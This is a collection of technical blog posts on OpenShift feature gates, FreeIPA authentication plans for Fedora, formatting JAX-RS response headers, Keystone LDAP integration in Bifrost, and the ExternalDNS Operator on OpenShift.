When Kubernetes adds a feature or changes an existing one, the new behaviour usually starts out hidden behind a feature gate. Enhancements start off in the Alpha stability class, where they are usually guarded by a feature gate that is off by default. If the enhancement proves stable and useful, after a few releases it will be promoted to Beta, and the feature gate will typically default to on, though it can still be disabled. The final stage of an enhancement is GA (generally available). If an enhancement reaches this stage, its feature gate becomes non-operational and is deprecated, to be removed in a later release.

So, in a real world deployment how do you enable or disable a feature gate? There are several “distributions” of Kubernetes and various ways of doing it. In this short post I’ll demonstrate how to enable feature gates in OpenShift, Red Hat’s container orchestration platform which is built on Kubernetes.

The `FeatureGate` resource §

OpenShift recognises a FeatureGate resource type. A single, resource of this type named cluster determines the feature gates used across the cluster. A cluster administrator can modify FeatureGate/cluster to vary the feature gates set in the cluster from the defaults.

The FeatureGate resource is more than a mere list of feature gates to enable or disable. First, in addition to Kubernetes feature gates, it can also set feature gates for features in OpenShift itself, or other components or products in the cluster. Second, it can refer to named feature sets—groups of feature gates—as an alternative to explicitly listing all the feature gates to enable or disable.

For example, the TechPreviewNoUpgrade feature set enables a collection of features that Red Hat have marked as useful and worthy of customer testing, with a view to possible promotion to full support in a future release. Customers do not need to enable individual feature gates but can instead enable all the Technology Preview features via the following FeatureGate spec:

apiVersion: config.openshift.io/v1
kind: FeatureGate
metadata:
  name: cluster
spec:
  featureSet: TechPreviewNoUpgrade

Unlike the more general MachineConfig objects, FeatureGate objects do not get composed together. Only the single object name cluster is recognised. So there is no “lightweight” way to enable all the feature gates from TechPreviewNoUpgrade plus one or two additional feature gates. To accomplish that, use a CustomNoUpgrade with all the desired feature gates listed.

Enabling specific feature gates §

What if the TechPreviewNoUpgrade feature set does not include the feature gate you want to enable? The CustomNoUpgrade feature set allows you to list the specific feature gates you want to enable or disable. The following exmaple enables the UserNamespaceStatelessPodsSupport feature gate:

apiVersion: config.openshift.io/v1
kind: FeatureGate
metadata:
  name: cluster
spec:
  featureSet: CustomNoUpgrade
  customNoUpgrade:
    enabled:
    - UserNamespacesStatelessPodsSupport

Applying `FeatureGate` changes §

When you change FeatureGate/cluster, new MachineConfig objects get generated containing updated configurations of the relevant Kubernetes and OpenShift components (e.g. kubelet). Machine Config Operator will progressively update and restart the nodes in the cluster, while ensuring availability.

Let’s see an example. First, observe that all MachineConfigPools are up to date (ready count = machine count):

% oc get MachineConfigPool -o json | jq --compact-output \
    '.items[] | { name: .metadata.name \
                , count: .status.machineCount \
                , ready: .status.readyMachineCount}'
{"name":"master","count":3,"ready":3}
{"name":"worker","count":3,"ready":3}

Also observe that the FeatureGate/cluster object does exist, but its spec is empty (so the default feature gate settings are used):

% oc get -o json FeatureGate/cluster | jq .spec
{}

Now update the FeatureGate/cluster object. Assume the CustomNoUpgrade configuration shown earlier resides in a file named featuregate-userns.yaml.

% oc replace -f featuregate-userns.yaml
featuregate.config.openshift.io/cluster replaced

After a few moments, Machine Config Operator will observe the new configuration and start updating and restarting the nodes. Initially, all pools have zero machines in state ready (because they all need updating):

% oc get MachineConfigPool -o json | jq --compact-output \
    '.items[] | { name: .metadata.name \
                , count: .status.machineCount \
                , ready: .status.readyMachineCount}'
{"name":"master","count":3,"ready":0}
{"name":"worker","count":3,"ready":0}

After some period of time (which will vary by cluster size), all the nodes will have received the updated configuration and restarted.

As for verifying that the updates were applied correctly, that will depend on which gates are being enabled or disabled. It is out of scope for this article. But in terms of how to set feature flags in OpenShift, I hope that this article has conveyed it clearly and that it will be useful to others.

For further detail, see the official OpenShift FeatureGate documentation and FeatureGate object schema.

FreeIPA authentication improvements and Fedora Infrastructure part 2

2022-10-28T06:50:00+00:00

This article continues the discussion about FreeIPA authentication improvements and how they could benefit Fedora Infrastructure.

FreeIPA 4.9.10 has added support for relaying authentication to OAuth2 identity providers (IdPs). Users would get their access to FreeIPA resources mediated by an external OAuth2 identity provider which supports OAuth2 device authorization grant flow (RFC 8628). This is not too dissimilar from how smart TVs connect to Youtube and other media services on your behalf. A user would be able to grant access to a scoped information to a FreeIPA OAuth2 client registered with such IdP. In order to authorize the access, the user might need to login to the IdP first and this is performed with the help of a browser running elsewhere. Most common browsers do have support for Webauthn/FIDO2 tokens, thus it is possible to build a system where a login to FreeIPA-enrolled system is authenticated by the FIDO2 token exclusively.

Based on the result of the external IdP authorization grant, FreeIPA would then issue a Kerberos ticket to the user. The ticket can then be used for single sign-on across all FreeIPA services.

The functionality to authenticate against an external IdP is already available in Fedora 36 versions of FreeIPA and SSSD. It is also available in RHEL 8.7 and 9.1 beta versions published in late September 2022.

Relying on an external identity provider to authenticate your FreeIPA users would also mean rethinking the relationship between the IdP and the FreeIPA deployment. Typically, when people integrated FreeIPA with OAuth2 or SAML identity providers, an assumption was made that user authentication is handled by the FreeIPA servers and identity provider issues a token for a web application. Turning this situation around means FreeIPA only becomes a user data store – maybe even not the data store for the IdP itself. IdP would only need to know about the user identity from its own point of view while FreeIPA would have a POSIX identity of the same user, consumed by other applications. Whether it is visible through the IdP grants or via POSIX interfaces is more of an application implementation detail. Decoupling these details leads to a bit of duplication, of course, but allows for better flexibility. A user might come from a federated source and have their authentication handled by a different identity provider – their public service provider like Google, Github, Gitlab, or Microsoft Azure. Or Facebook and any other social media.

All this, however, would mean a change to the way Fedora Accounts system and Fedora IdP, Ipsilon, interact with each other. Right now Ipsilon sources accounts information from the FreeIPA instance directly and delegates authentication to it as well (though PAM service provided by SSSD). Fedora Accounts system, in its turn, manages passwords and tokens in the FreeIPA instance. Since FreeIPA does not have support for Webauthn/FIDO2 web-based authentication yet, Ipsilon would need to manage that itself. So some user accounts would need to source their authentication details from FreeIPA and some would need to use Ipsilon’s internal source. That is a bit complicated as Ipsilon has no way to combine data sources.

Ipsilon does not have any support for both OAuth2 device authorization grant flow and Webauthn/FIDO2 tokens. Even if the FreeIPA instance used by both Fedora project and CentOS project would be updated to provide external IdP authentication, the Ipsilon instance would not be able to utilize this new feature.

Another alternative would be to use Keycloak (free software project upon which Red Hat Single Sign-On product is built). Keycloak 21 is adding multiple user stores support and the FreeIPA team works on a new provider to utilize it. This new Keycloak user store plugin supports SCIM v2 API and also needs a new FreeIPA application that abstracts out access to FreeIPA resources as a SCIM v2 API. In the end, it is the same SSSD as a backend as in case of the Ipsilon IdP but with the ability to split the data store across multiple sources. Keycloak already has support for both OAuth2 device authorization grant flow and the Webauthn/FIDO2 tokens. How this all works together is shown in our Nest with Fedora 2022 talk. Talk slides can be found here but the video includes a live demo session.

On mobile devices front, both Google and Apple are gearing towards introduction of software tokens for Webauthn/FIDO2, often called ‘passkeys’ in the user-oriented marketing materials. These passkeys effectively shared across devices where a user is logged in and uses a shared password wallet. The Google Security team goes at length explaining why this is secure, although some researchers aren’t convinced (this is more about Apple implementation, though).

Consuming software tokens stored in a mobile device from a computer for authentication would need additional support from the identity providers. Neither Ipsilon nor Keycloak implement that. For native Android applications Google just announced they’ll provide an API in what remains of 2022.

Finally, going outside of Fedora Project’s infrastructure, supporting Webauthn/FIDO2 to login to Linux servers and desktops in a centrally managed way is still not there.

Both FreeIPA and SSSD teams are working on a more direct integration with FIDO2 tokens. Instead of relying on an OAuth2 identity provider to handle Webauthn/FIDO2 operations in the browser, SSSD is integrating with libfido2 library to make FIDO2 token’s use on the machine locally. This would replace the pam_u2f module and would allow FreeIPA to provide centralized management of the FIDO2-based passkeys. On top of that, FreeIPA will provide Kerberos integration: login with the FIDO2 token would be turned into a Kerberos ticket and single sign-on operations would be ensured across multiple services, like it is done today for traditional Kerberos pre-authentication methods. A benefit is that passwords can be completely removed for the users with direct FIDO2 token enrollment.

FreeIPA-enrolled clients (Fedora 36+, RHEL 8.7/9.1 betas) already can login via external IdP as outlined above but only for the SSH or a direct console login. Login over graphical desktop is not working well: a message telling to visit an IdP page and authorize the device access does not fit into a gdm login entry which is used to show the message coming from the PAM stack. GDM is also not able to go to that URL directly as there is still no support for opening a browser instance pre-login in GNOME or any other desktop manager. We are looking at implementing this with GNOME developers similar to how a smartcard selection was added in 2017. Hopefully, this will come to one of the next Fedora versions …

Notwithstanding open issues, we are pretty much close to enabling FreeIPA-enrolled Linux systems to go passwordless. It is not yet a year of passwordless Linux like not a year of Linux on the desktop but making it reality is not that far away. Perhaps I am too optimistic, though – like we were all before with Linux on the desktop.

FreeIPA authentication improvements and Fedora Infrastructure part 1

2022-10-28T05:50:00+00:00

The Fedora project exists because of its contributors. Their contributions shape the landscape of Linux distributions in a direct way but they also have made a significant influence on the Open Source projects themselves. Fedora contributors are not only people who participate in package maintenance, there are upstream developers, documentation writers, quality assurance engineers across multiple industries, students, volunteers and many many others. As with many other areas, this participation is bi-directional and practices established in the Fedora project may apply elsewhere too.

One area dear to me is authentication. The FreeIPA project serves as an umbrella to provide a consistent centralized identity management and authentication solution for Linux systems (in the first place, though standards-compliant, UNIX-like operating systems benefit from its use as well). FreeIPA’s core is built around Kerberos authentication protocol and SSSD daemon. It makes use of Kerberos’ features for single sign-on ease on the client side.

Many Free Software and Open Source projects use FreeIPA to deploy centralized identity management, authentication and authorization for their own contributors. Examples can be found small and large: GNOME project was one of the earliest, migrating its infrastructure to FreeIPA in 2014. The Fedora project is not an exception, it has been using FreeIPA for quite some time, though FreeIPA deployment was only handling Kerberos – user accounts were stored in a different place and synchronized with FreeIPA. The old Fedora account system was gradually rewritten to be built on top of FreeIPA and in 2021 all accounts were migrated to the new system.

Fedora accounts system allows users to login with a password and optionally to use two-factor authentication with the help of TOTP tokens. Users can also associate GnuPG or SSH public keys with themselves. These details get consumed by various Fedora applications but there are several important use cases:

Issue Kerberos ticket which can be used to authenticate against a build system used by Fedora
Access servers over SSH protocol, with Kerberos tickets or SSH keys
Use Kerberos ticket or authenticate with password to Fedora Project’s identity provider and authorize Fedora applications to access user data.

FreeIPA supports more authentication methods in its Kerberos implementation but they aren’t used by the Fedora project. On the other hand, the CentOS Project shares its FreeIPA instance with Fedora and uses certificates issued by the FreeIPA CA for its authentication. These certificates can be used to obtain Kerberos tickets as well. For both projects this FreeIPA instance is maintained by the Community Platform Engineering team who looks after both communities’ needs.

Since the Fedora Project is an important gateway to Red Hat Enterprise Linux, many Fedora contributors were recently raising security concerns around secure software delivery and asking how we can improve authentication and authorization for Fedora infrastructure. For gory details, the thread about removing access of inactive packagers after Fedora 37 release has a few examples. A common agreement is that use of Webauthn and FIDO2 tokens would definitely improve the security, especially coupled with the prevention of an authentication methods’ downgrades.

Moving to Webauthn/FIDO2 would probably be relatively easy if every single application to access in the Fedora infrastructure would be a web-based. For example, OAuth2 clients could be forced to operate on specific scopes of the user data which would only be granted if strong authentication methods were used to authenticate. For SSH-based access it would also be possible to get SSH keys based on a native FIDO2 support in OpenSSH and prevent use of other key types. However, a single sign-on functionality would be lost then as currently it is not possible to convert SSH public key access to Kerberos tickets nor is it possible to use FIDO2 keys natively in Kerberos flows.

Use of FIDO2 tokens introduces another problem, though, this time a social one. Fedora Project is famous for its wide contributor base, spanning many countries and continents. Fedora Project contributors come from all kinds of backgrounds and so far the only requirement to enable their contributions from a technical point of view was internet access. Even enforcement of the two-factor authentication with the help of TOTP tokens could have been mitigated by use of a software token on a mobile device or simulated on a computer. In many countries access to mobile devices is easier than to any hardware token. It is still a cost and somebody has to pay for it. The cheapest FIDO2 token is around 10 EUR, although a single token can be used against many resources (websites). There is a cost to enforce stronger authentication methods and somebody would need to pay it if the Fedora project chooses to raise the requirements. Perhaps, companies benefiting from the secure software development processes around Fedora distribution would be willing to step up?

In the next article I will look at how FreeIPA could help with the technical side of supporting Webauthn/FIDO2 use by Fedora contributors.

Controlling header formatting in JAX-RS applications

2022-08-29T00:00:00+00:00

Controlling header formatting in JAX-RS applications

I’m been implementing an Enrollment over Secure Transport (EST) service in Dogtag PKI. During testing, I found that a notable client implementation parses the response Content-Type header in the following way:

if (!strncmp(
    multipart_get_data_content_type(parser),
    "application/pkcs7-mime; smime-type=certs-only",
    45)
  ) {
    ...

The Dogtag EST service is a Jakarta RESTful Web Services (JAX-RS) application. It produces a Content-Type header value different from what the client expects (note the lack of whitespace):

application/pkcs7-mime;smime-type=certs-only

As a consequence, the EST client fails to process the response. This is certainly a defect in the EST client implementation. But EST is used by many embedded or hard to update network devices. Or updates might not be available (now, ever?)

So, I needed to find a way to override the header default header formatting. This blog post describes my solution.

Specifying the `Content-Type` header §

The JAX-RS @Produces annotation specifies the Content-Type header value for a particular resource:

@POST
@Path("simpleenroll")
@Consumes("application/pkcs10")
@Produces("application/pkcs7-mime; smime-type=certs-only")
public Response simpleenroll(byte[] data) {
    ...

Note that the string value is not used verbatim. Instead, it is parsed into a MediaType value and stored as such in the response headers (a MultivaluedMap<String, Object>).

When serialising the Response, header values are stringified via types that implement the RuntimeDelegate.HeaderDelegate<T> interface, where T is the real type of the header value Object. To serialise a MediaType header value, the JAX-RS machinery uses a instance of a a class that implements RuntimeDelegate.HeaderDelegate<MediaType>.

HeaderDelegate implementations are not part of the JAX-RS API. They are provided by the JAX-RS implementation. In Dogtag PKI, that’s RESTEasy. The class in question is:

public class MediaTypeHeaderDelegate
  implements RuntimeDelegate.HeaderDelegate<MediaType> {

The toString(MediaType type) method provided by this class prints the value without a space character between the subtype and the parameters. For the example resource above, it produces the string:

application/pkcs7-mime;smime-type=certs-only

This is a legal production in the HTTP grammar, according to RFC 7230 and RFC 7231:

media-type = type "/" subtype *( OWS ";" OWS parameter )
OWS = *( SP / HTAB )

However, we already saw that at least one EST client is unable to process this value, because it expects a space character before the parameters:

application/pkcs7-mime; smime-type=certs-only

This is also a legal production. But the client is using strncmp to look for this exact string, instead of properly parsing the value. If we can’t fix the client behaviour, we have to find a workaround on the server to produce the exact string the client expects.

Idea 1: custom `HeaderDelegate` §

My first idea was to override the HeaderDelegate<MediaType> with our own implementation. I couldn’t find a general way to do that via the JAX-RS API. It does seem that you can do it using RESTEasy classes directly:

Implement the custom HeaderDelegate<MediaType>. To avoid unnecessary work you could extend RESTEasy’s MediaTypeHeaderDelegate and override just the toString(MediaType) method.
Obtain ResteasyProviderFactory.getInstance(). Invoke .addHeaderDelegate(MediaType.class, customInst) to replace the HeaderDelegate<MediaType>.

This approach has several disadvantages:

Directly coupled to the RESTEasy implementation. May break if RESTEasy implementation details change and will not work with other JAX-RS implementations.
Need to implement a custom HeaderDelegate<MediaType> with the “correct” serialisation behaviour.
The “correct” serialisation behaviour might break other clients with different bugs/quirks.

For these reasons I rejected the first idea and sought an approach that avoids these disadvantages.

Idea 2: response filter §

My next idea was to use a response filter to reformat the Content-Type response header. The Servlet API defines the ContainerResponseFilter interface:

public interface ContainerResponseFilter {
  void filter(
      ContainerRequestContext requestContext,
      ContainerResponseContext responseContext)
    throws IOException
}

The application applies each registered filter to each response, before serialising and sending the response. At the time response filters are applied, the Content-Type header value is a MediaType. It has not yet been converted to a String.

A response filter can add, remove, or replace response headers. Recall that headers are stored in a MultivaluedMap<String, Object>. This means that we can replace a MediaType value (whose serialisation is determined by the HeaderDelegate) with a String value (which will be written as is).

The .equals equality test for MediaType properly compares the properties of the instance without regard to string representation. As it should. This enables a succinct implementation where we:

Decalre verbatim String header values we want to see in the response.
Parse those strings into MediaType values.
Match the Content-Type value in the response against parsed values.
Replace matched header values with the corresponding verbatim String.

The implementation is straightforward:

@Provider
public class ReformatContentTypeResponseFilter
    implements ContainerResponseFilter {

  private static String[] verbatim = {
    "application/pkcs7-mime; smime-type=certs-only"
  };

  private static HashMap<MediaType, String> substitutions =
    new HashMap<>();

  static {
    for (String s : verbatim)
      substitutions.put(MediaType.valueOf(s), s);
  }

  @Override
  public void filter(
      ContainerRequestContext requestContext,
      ContainerResponseContext responseContext) {
    MultivaluedMap<String, Object> headers =
      responseContext.getHeaders()
    Object v = headers.getFirst(HttpHeaders.CONTENT_TYPE);
    if (v != null && v instanceof MediaType
        && substitutions.containsKey(v)) {
      headers.putSingle(
        HttpHeaders.CONTENT_TYPE, substitutions.get(v));
    }
  }

}

There is currently only one header value whose formatting I need to precisely control. If we discover more, we only need to add the desired string serialisation to the verbatim array.

We must consider the possible scenario of different clients with different quirks. In that case, we could maintain separate substitutions maps for each known problematic client. We would use the User-Agent header, or other request characteristics, to identify the client and select the corresponding substitution map (if any). Hopefully this situation does not arise. But if it does, the increase in complexity of the solution is tolerable.

This solution works well and avoids the disadvantages of my first idea:

Only uses official Servlet and JAX-RS classes and interfaces. This solution will work across all JAX-RS implementations.
Does not (re)implement MediaType serialsation. You just declare the exact string values you want to see in responses.
With a moderate increase in complexity, can handle different clients with incompatible quriks.

Conclusion §

It’s unfortunate that this workaround was even necessary. But given that it was, I’m happy with the solution. It is simple and portable across Servlet and JAX-RS implementations.

The same approach could be used for controlling formatting of any header value types, not just Content-Type / MediaType. I hope that sharing this solution will help people who encounter similar problems. At the very least, I hope that because of this post you learned something about Servlet and JAX-RS response header processing.

Keystone LDAP with Bifrost

2022-05-04T19:39:03+00:00

I got keystone in my Bifrost install to talk via LDAP to our Freeipa server. Here’s what I had to do.

I started with a new install of bifrost, using Keystone and TLS.

./bifrost-cli install --enable-keystone --enable-tls  --network-interface enP4p4s0f0np0 --dhcp-pool 192.168.116.25-192.168.116.75

After making sure that Keystone could work for normal things;

source /opt/stack/bifrost/bin/activate
export OS_CLOUD=bifrost-admin
 openstack user list -f yaml
- ID: 1751a5bb8b4a4f0188069f8cb4f8e333
  Name: admin
- ID: 5942330b4f2c4822a9f2cdf45ad755ed
  Name: ironic
- ID: 43e30ad5bf0349b7b351ca2e86fd1628
  Name: ironic_inspector
- ID: 0c490e9d44204cc18ec1e507f2a07f83
  Name: bifrost_user

I had to install python3-ldap and python3-ldappool .

sudo apt install python3-ldap python3-ldappool

Now create a domain for the LDAP data.

openstack domain create freeipa
...
openstack domain show freeipa -f yaml

description: ''
enabled: true
id: 422608e5c8d8428cb022792b459d30bf
name: freeipa
options: {}
tags: []

Edit /etc/keystone/keystone.conf to support domin specific backends and back them with file config. When you are done, your identity section should look like this.

[identity]
domain_specific_drivers_enabled=true
domain_config_dir=/etc/keystone/domains
driver = sql

Create the corresponding directory for the new configuration files.

sudo mkdir /etc/keystone/domains/

Add in a configuration file for your LDAP server. Since I called my domain freeipa I have to name the config file /etc/keystone/domains/keystone.freeipa.conf

[identity]
driver = ldap

[ldap]
url = ldap://den-admin-01


user_tree_dn = cn=users,cn=accounts,dc=younglogic,dc=com
user_objectclass = person
user_id_attribute = uid
user_name_attribute = uid
user_mail_attribute = mail
user_allow_create = false
user_allow_update = false
user_allow_delete = false
group_tree_dn = cn=groups,cn=accounts,dc=younglogic,dc=com
group_objectclass = groupOfNames
group_id_attribute = cn
group_name_attribute = cn
group_member_attribute = member
group_desc_attribute = description
group_allow_create = false
group_allow_update = false
group_allow_delete = false
user_enabled_attribute = nsAccountLock
user_enabled_default = False
user_enabled_invert = true

To make changes, to restart sudo systemctl restart uwsgi@keystone-public

sudo systemctl restart uwsgi@keystone-public

And test that it worked

openstack user list -f yaml  --domain freeipa
- ID: b3054e3942f06016f8b9669b068e81fd2950b08c46ccb48032c6c67053e03767
  Name: renee
- ID: d30e7bc818d2f633439d982783a2d145e324e3187c0e67f71d80fbab065d096a
  Name: ann

This same approach can work if you need to add more than one LDAP server to your Keystone deployment.

Experimenting with ExternalDNS

2022-03-24T00:00:00+00:00

Experimenting with ExternalDNS

DNS is a critical piece of the puzzle for exposing Kubernetes-hosted applications to the Internet. Running the application means nothing if you can’t get traffic to it. Keeping public DNS records in sync with the deployed applications is important. The Kubernetes ExternalDNS was developed for this purpose.

ExternalDNS exposes Kubernetes Services and Routes in by managing records in external DNS providers. It supports many DNS providers, including the DNS services of the popular cloud providers (AWS, Google Cloud, Azure, …).

I have been experimenting with ExternalDNS. My purpose is not only to understand installation and basic usage, but also whether it can meet the specific DNS requirements of FreeIPA, such as SRV records. This post outlines my findings.

Operator installation §

The ExternalDNS controller is a Kubernetes sub-project (or SIG—special interest group). In the OpenShift ecosystem, the ExternalDNS Operator creates and manages ExternalDNS controller instances defined by custom resources (CRs) of kind: ExternalDNS.

The ExternalDNS Operator is available as a Tech Preview in OpenShift Container Platform 4.10. So, it is visible in the OperatorHub catalogue out-of-the-box. The official docs explain how to install the operator via the OperatorHub web console. The instructions were easy to follow.

I prefer using the CLI where possible. The OperatorHub system is complex but I eventually worked out what commands and objects are needed to install the ExternalDNS Operator from the CLI.

First, create the operand namespaces and RBAC objects. The operand namespace is where the ExternalDNS controllers (as opposed to the ExternalDNS Operator controller) will live.

$ oc create ns external-dns
namespace/external-dns created

$ oc apply -f \
    https://raw.githubusercontent.com/openshift/external-dns-operator/release-0.1/config/rbac/extra-roles.yaml
role.rbac.authorization.k8s.io/external-dns-operator created
rolebinding.rbac.authorization.k8s.io/external-dns-operator created
clusterrole.rbac.authorization.k8s.io/external-dns created
clusterrolebinding.rbac.authorization.k8s.io/external-dns created

Next, create the external-dns-operator namespace where the operator itself shall live:

% oc create ns external-dns-operator
namespace/external-dns-operator created

Finally create the OperatorGroup and OperatorHub Subscription objects. Note the contents of external-dns-operator.yaml:

apiVersion: operators.coreos.com/v1
kind: OperatorGroup
metadata:
  generateName: external-dns-operator-
  namespace: external-dns-operator
spec:
  targetNamespaces:
  - external-dns-operator
---
apiVersion: operators.coreos.com/v1alpha1
kind: Subscription
metadata:
  name: external-dns-operator
  namespace: external-dns-operator
spec:
  name: external-dns-operator
  source: redhat-operators
  sourceNamespace: openshift-marketplace

Create the objects:

% oc create -f external-dns-operator.yaml
operatorgroup.operators.coreos.com/external-dns-operator-8852w created
subscription.operators.coreos.com/external-dns-operator created

After a short delay (~1 minute for me) the operator installation should finish. Observe the various Kubernetes objects that represent the running operator:

% oc get -n external-dns-operator all
NAME                                         READY   STATUS    RESTARTS      AGE
pod/external-dns-operator-594b465984-r2pc5   2/2     Running   2 (59s ago)   5m13s

NAME                                            TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)    AGE
service/external-dns-operator-metrics-service   ClusterIP   172.30.151.142   <none>        8443/TCP   5m15s
service/external-dns-operator-service           ClusterIP   172.30.210.21    <none>        9443/TCP   59s

NAME                                    READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/external-dns-operator   1/1     1            1           5m14s

NAME                                               DESIRED   CURRENT   READY   AGE
replicaset.apps/external-dns-operator-594b465984   1         1         1       5m15s

The `ExternalDNS` custom resource §

Now that the operator is installed, we can define an ExternalDNS customer resource (CR). The operator creates an ExternalDNS controller instance for each CR. Here is an example (externaldns-test.yaml):

apiVersion: externaldns.olm.openshift.io/v1alpha1
kind: ExternalDNS
metadata:
  name: test
spec:
  domains:
    - filterType: Include 
      matchType: Exact 
      name: ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com
  provider:
    type: GCP
  source:
    type: Service
    service:
      serviceType:
        - LoadBalancer
    labelFilter:
      matchLabels:
        app: echo
    fqdnTemplate:
      - "{{.Name}}.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com"

Breaking down the spec, we see the following fields:

domains gives a rule for which domains this ExternalDNS controller must manage. In this case, any domain name with a suffix matching the name subfield will match the rule.
provider specifies the cloud provider—in this case GCP (Google Cloud). For GCP there is nothing else to configure; the controller will use the main cluster secret to authenticate to Google Cloud.
source specifies which kinds of objects the controller will monitor to determine the DNS records to be created/managed. We configure the controller to watch Service objects. Further configuration is specified in subfields:
- serviceType restricts the type(s) of Service objects to be considered.
- labelFilter can be set to further restrict the set of source objects by matching on the label field. In this example, we only match Service objects with label app: echo.
- fqdnTemplate specifies how to derive the fully qualified DNS name from the Service object.
- hostnameAnnotation can be set to Allow to allow the FQDN to be specified via the external-dns.alpha.kubernetes.io/hostname annotation on the Service object. The default value is Ignore, in which case fqdnTemplate is required.

Aside from type: Service, the ExternalDNS CR also recognises type: OpenShiftRoute. This type uses Route objects as the source, creating CNAME records to alias the FQDN derived from the Route object to the canonical DNS name of the ingress controller. This isn’t the behaviour I’m looking for, so the rest of this article focuses on the behaviour for Service sources.

Creating the ExternalDNS controller §

Now that we have defined an ExternalDNS custom resource, let’s create it and see what happens. I would like to watch the logs of the ExternalDNS Operator during this operation.

Earlier we saw that the name of the operator Pod is pod/external-dns-operator-594b465984-r2pc5. This Pod has two containers:

% oc get -o json -n external-dns-operator \
    pod/external-dns-operator-594b465984-r2pc5 \
    | jq '.status.containerStatuses[].name'
"kube-rbac-proxy"
"operator"

The container named operator is the one we are interested in. We can watch its log output like so:

% oc logs -n external-dns-operator --tail 2 --follow \
    external-dns-operator-594b465984-r2pc5 operator
2022-03-22T04:41:06.625Z        INFO    controller-runtime.manager.controller.external_dns_controller   Starting workers        {"worker count": 1}
2022-03-22T04:41:06.626Z        INFO    controller-runtime.manager.controller.credentials_secret_controller     Starting workers        {"worker count": 1}
... (waiting for more output)

Now, in another terminal, create the ExternalDNS CR object:

% oc create -f externaldns-test.yaml
externaldns.externaldns.olm.openshift.io/test created

Log output shows the ExternalDNS Operator responding to the appearance of the externaldns/test CR:

controller-runtime.webhook.webhooks     received request        {"webhook": "/validate-externaldns-olm-openshift-io-v1alpha1-externaldns", "UID": "cf2fb876-9ddd-45a8-88b8-5cc0344fb5cc", "kind": "externaldns.olm.openshift.io/v1alpha1, Kind=ExternalDNS", "resource": {"group":"externaldns.olm.openshift.io","version":"v1alpha1","resource":"externaldnses"}}
validating-webhook      validate create {"name": "test"}
controller-runtime.webhook.webhooks     wrote response  {"webhook": "/validate-externaldns-olm-openshift-io-v1alpha1-externaldns", "code": 200, "reason": "", "UID": "cf2fb876-9ddd-45a8-88b8-5cc0344fb5cc", "allowed": true}
external_dns_controller reconciling externalDNS {"externaldns": "/test"}
…

And if we look in the operand namespace (external-dns) we see a Pod running:

% oc get -n external-dns pod
NAME                                 READY   STATUS    RESTARTS   AGE
external-dns-test-865ffff756-45d44   1/1     Running   0          54s

And if you want to see what an ExternalDNS controller is up to, you can watch its logs:

% oc logs -n external-dns --tail 1 --follow \
    pod/external-dns-test-865ffff756-45d44
time="2022-03-23T12:26:18Z" level=info msg="All records are already up to date"
... (waiting for more output)

Observing record creation §

After creating the ExternalDNS instance, I found Google Cloud DNS zone for my cluster and queried its records. How to interact with the cloud provider depends on which cloud provider the cluster is hosted on, so I won’t provide details. The existing records are:

ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  NS    21600  ns-gcp-private.googledomains.com.
ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  SOA   21600  ns-gcp-private.googledomains.com.
api.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  A     60     10.0.0.2
api-int.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  A     60     10.0.0.2
*.apps.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  A     30     35.223.148.37

This is a private zone specific to my cluster. Some non-routable addresses appear. I haven’t figured out how to update the records in the public zone yet. I’m confident this is not a problem with ExternalDNS. Rather, I put it down to my lack of familiarity with how to configure it, and with Google Cloud DNS.

We can see that in addition to the expected NS and SOA records, there are A records for the API server and a wildcard A record for the main ingress controller.

Next I create the following Service:

apiVersion: v1
kind: Service
metadata:
  name: echo-tcp
  labels:
    app: echo
spec:
  type: LoadBalancer
  selector:
    app: echo
  ports:
  - name: tcpecho
    protocol: TCP
    port: 12345

Note that it has the app: echo label and has type: LoadBalancer, satisfying the match criteria of the externaldns/test controller. Create the service and observe its public IP address:

% oc create -f service-echo.yaml
service/echo-tcp created

% oc get service/echo-tcp \
    -o jsonpath='{.status.loadBalancer}'
{"ingress":[{"ip":"35.188.22.139"}]}

After creating the Service, two new records appeared in the zone:

echo-tcp.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  A     300    35.188.22.139
external-dns-echo-tcp.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  TXT   300    "heritage=external-dns,external-dns/owner=external-dns-test,external-dns/resource=service/test/echo-tcp"

The A record resolves the DNS name to the load balancer’s IP address. Nothing surprising here.

The TXT record is the for the name external-dns-echo-tcp.… and contains some metadata about the “owner” of the corresponding A record. Specifically, it identifies the Service object that is the source of the record. I am not 100% sure, but it seems to also contain information about the ExternalDNS controller that created the record.

When I first saw the TXT records, I theorised that the ExternalDNS controller uses the TXT records to find “obsolete” records and delete them. This would occur, for example, when the Service is deleted. Indeed, deleting service/echo-tcp resulted in the removal of both the A and TXT records.

SRV records for `LoadBalancer` Services §

Kubernetes’ internal DNS system follows a DNS-based service discovery specification. In addition to A/AAAA records, SRV records are created to locate service endpoints (port and target DNS name) based on service name and transport protocol (TCP or UDP). SRV records are an important part of several protocols as used in the real world, including Kerberos, SIP, LDAP and XMPP. SRV records have the following shape:

_<service>._<proto>.<domain> <ttl>
    <class> SRV <priority> <weight> <port> <target>

A record to locate an organisation’s LDAP server might look like:

_ldap._tcp.example.net 300
    IN SRV 10 5 389 ldap.corp.example.net

Although the current system has a critical deficiency for applications that use SRV records and operate on both TCP and UDP (see my previous blog post) for most applications it works well. Unfortunately, ExternalDNS does not follow the DNS spec and does not create SRV records for Services.

I am not sure why this is the case. Perhaps ExternalDNS even pre-dates the SRV aspects of the Kubernetes DNS specification. Or the need might not have been recognised or deemed sufficiently critical to address this gap.

As it happens, there is an abandoned pull request from two years ago that sought to add SRV record generation to ExternalDNS and bring it in line with the spec. The maintainers seemed receptive, but the PR author no longer needed the feature and closed it. So I think there is reason to hope that the feature might eventually make it into ExternalDNS. Perhaps our team will drive it… we need SRV records, and it would probably be better to enhance ExternalDNS than to build our own solution from scratch.

SRV records for `NodePort` services §

I said that ExternalDNS does not support SRV records, but there is one exception to that. ExternalDNS does create SRV records for Services of type: NodePort. This is not an appropriate solution for our application, but we can still play with it and get a feel for how it might work similarly for LoadBalancer Services.

